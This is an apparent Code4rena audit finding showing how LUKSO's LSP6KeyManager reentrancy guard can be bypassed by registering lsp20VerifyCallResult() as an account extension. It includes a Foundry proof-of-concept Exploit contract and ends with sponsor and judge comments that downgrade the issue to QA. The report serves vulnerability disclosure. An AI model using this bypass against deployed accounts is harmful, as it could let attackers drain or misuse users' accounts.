Users with `ADDEXTENSIONS`/`CHANGEEXTENSIONS` permissions can indirectly allow anyone to re-enter KeyManager

[code423n4]

Lines of code

https://github.com/code-423n4/2023-06-lukso/blob/main/contracts/LSP6KeyManager/LSP6KeyManagerCore.sol#L303-L313

Vulnerability details

Bug Description

LSP6KeyManager has in-built reentrancy protections. It works by setting _reentrancyStatus to true using _nonReentrantBefore() before a call to LSP0ERC725Account is made, and then calling _nonReentrantAfter() to set _reentrancyStatus back to false afterwards.

However, this reentrancy protection can be bypassed by adding the LSP6KeyManager's lsp20VerifyCallResult() function as an extension to the LSP0 account:

LSP6KeyManagerCore.sol#L303-L313

    function lsp20VerifyCallResult(
        bytes32 /*callHash*/,
        bytes memory /*result*/
    ) external returns (bytes4) {
        // If it's the target calling, set back the reentrancy guard
        // to false, if not return the magic value
        if (msg.sender == _target) {
            _nonReentrantAfter();
        }
        return _LSP20_VERIFY_CALL_RESULT_MAGIC_VALUE;
    }

Where:

• _target is set to the LSP0ERC725Account's address.

As lsp20VerifyCallResult() is called through the LSP0 account, msg.sender == _target will be true, thereby calling _nonReentrantAfter() to reset _reentrancyStatus.

Therefore, after lsp20VerifyCallResult() is added as an extension, anyone can then call this before performing a reentrant call to LSP6KeyManager to bypass reentrancy checks.

Impact

Anyone with ADDEXTENSIONS/CHANGEEXTENSIONS permissions can allow users to bypass LSP6KeyManager's reentrancy protections by adding lsp20VerifyCallResult() as an extension.

Proof of Concept

The following Foundry test demonstrates how a user can re-enter the KeyManager once lsp20VerifyCallResult() is added as an extension:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../../contracts/LSP0ERC725Account/LSP0ERC725Account.sol";
import "../../contracts/LSP1UniversalReceiver/LSP1Utils.sol";
import "../../contracts/LSP1UniversalReceiver/LSP1UniversalReceiverDelegateUP/LSP1UniversalReceiverDelegateUP.sol";
import "../../contracts/LSP6KeyManager/LSP6KeyManager.sol";
import "../../contracts/LSP6KeyManager/LSP6Utils.sol";
import "../../contracts/LSP17ContractExtension/LSP17Constants.sol";
import "../../contracts/LSP17ContractExtension/LSP17Extension.sol";

contract Exploit {
    LSP0ERC725Account account;

    uint256 public reenterCount;

    constructor(LSP0ERC725Account _account) {
        account = _account;
    }

    function reenter() external {
        if (++reenterCount == 2) return;        

        // Set _reentrancyStatus back to false
        LSP6KeyManager(address(account)).lsp20VerifyCallResult(bytes32(0), "");

        // Reenter keyManager again through execute()
        account.execute(
            0, // OPERATION_0_CALL
            address(this),
            0,
            abi.encodeWithSelector(this.reenter.selector)
        );
    }
}

contract LSP6KeyManager_POC is Test {
    LSP0ERC725Account account;
    LSP6KeyManager keyManager;

    address ATTACKER;
    address USER;

    function setUp() public {
        // Setup LSP0 account
        setupAccountWithKeyManager(); 

        // Setup attacker and user addresses
        ATTACKER = makeAddr("ATTACKER");
        USER = makeAddr("USER");

        // Give attacker ADDEXTENSIONS permission
        addPermissions(ATTACKER, _PERMISSION_ADDEXTENSIONS);
    }

    function testCanBypassReentrancyProtection() public {
        // Attacker adds KeyManager as extension to LSP0 account 
        bytes32 mappedExtensionDataKey = LSP2Utils.generateMappingKey(
            _LSP17_EXTENSION_PREFIX,
            LSP6KeyManagerCore.lsp20VerifyCallResult.selector
        );
        vm.prank(ATTACKER);
        account.setData(mappedExtensionDataKey, abi.encodePacked(address(keyManager)));

        // Deploys exploit contract and setup permissions  
        // Note: We give it SUPER_CALL permission for demonstration purposes, but CALL with allowed calls works too
        Exploit exploit = new Exploit(account);
        addPermissions(address(exploit), _PERMISSION_SUPER_CALL); 

        // User uses exploit contract to re-enter KeyManager
        exploit.reenter();

        // execute() was called twice in a single call using reentrancy
        assertEq(exploit.reenterCount(), 2);
    }

    // Helper function to deploy a LSP0 account with LSP6 KeyManager
    function setupAccountWithKeyManager() internal {
        // Deploy LSP0 account with this address as owner
        account = new LSP0ERC725Account(address(this));

        // Deploy LSP6 key manager for the account
        keyManager = new LSP6KeyManager(address(account));

        // Give this address all permissions
        addPermissions(address(this), ALL_REGULAR_PERMISSIONS);

        // Transfer account ownership to the key manager
        account.transferOwnership(address(keyManager));
        vm.roll(block.number + 200);
        keyManager.execute(abi.encodeWithSelector(LSP0ERC725AccountCore.acceptOwnership.selector));
    }

    // Helper function to grant permissions to an address
    function addPermissions(address user, bytes32 permission) internal {
        (bytes32[] memory keys, bytes[] memory values) = LSP6Utils.generateNewPermissionsKeys(
            IERC725Y(account), 
            user,
            permission
        );
        account.setDataBatch(keys, values);
    }
}

Recommended Mitigation

Disallow the lsp20VerifyCallResult() function in LSP6KeyManager. One way of achieving this could be to blacklist its function selector. However, this could potentailly cause problems if a function in another extension happens to have the same selector.

Assessed type

Reentrancy

[c4-pre-sort]

minhquanym marked the issue as primary issue

[c4-sponsor]

CJ42 marked the issue as disagree with severity

[CJ42]

ADD/CHANGE EXTENSION is a big permission, we are aware that this permission could lead to even more than just the reported issue.

[c4-judge]

trust1995 marked the issue as satisfactory

[c4-judge]

trust1995 changed the severity to QA (Quality Assurance)

[c4-judge]

trust1995 marked the issue as grade-c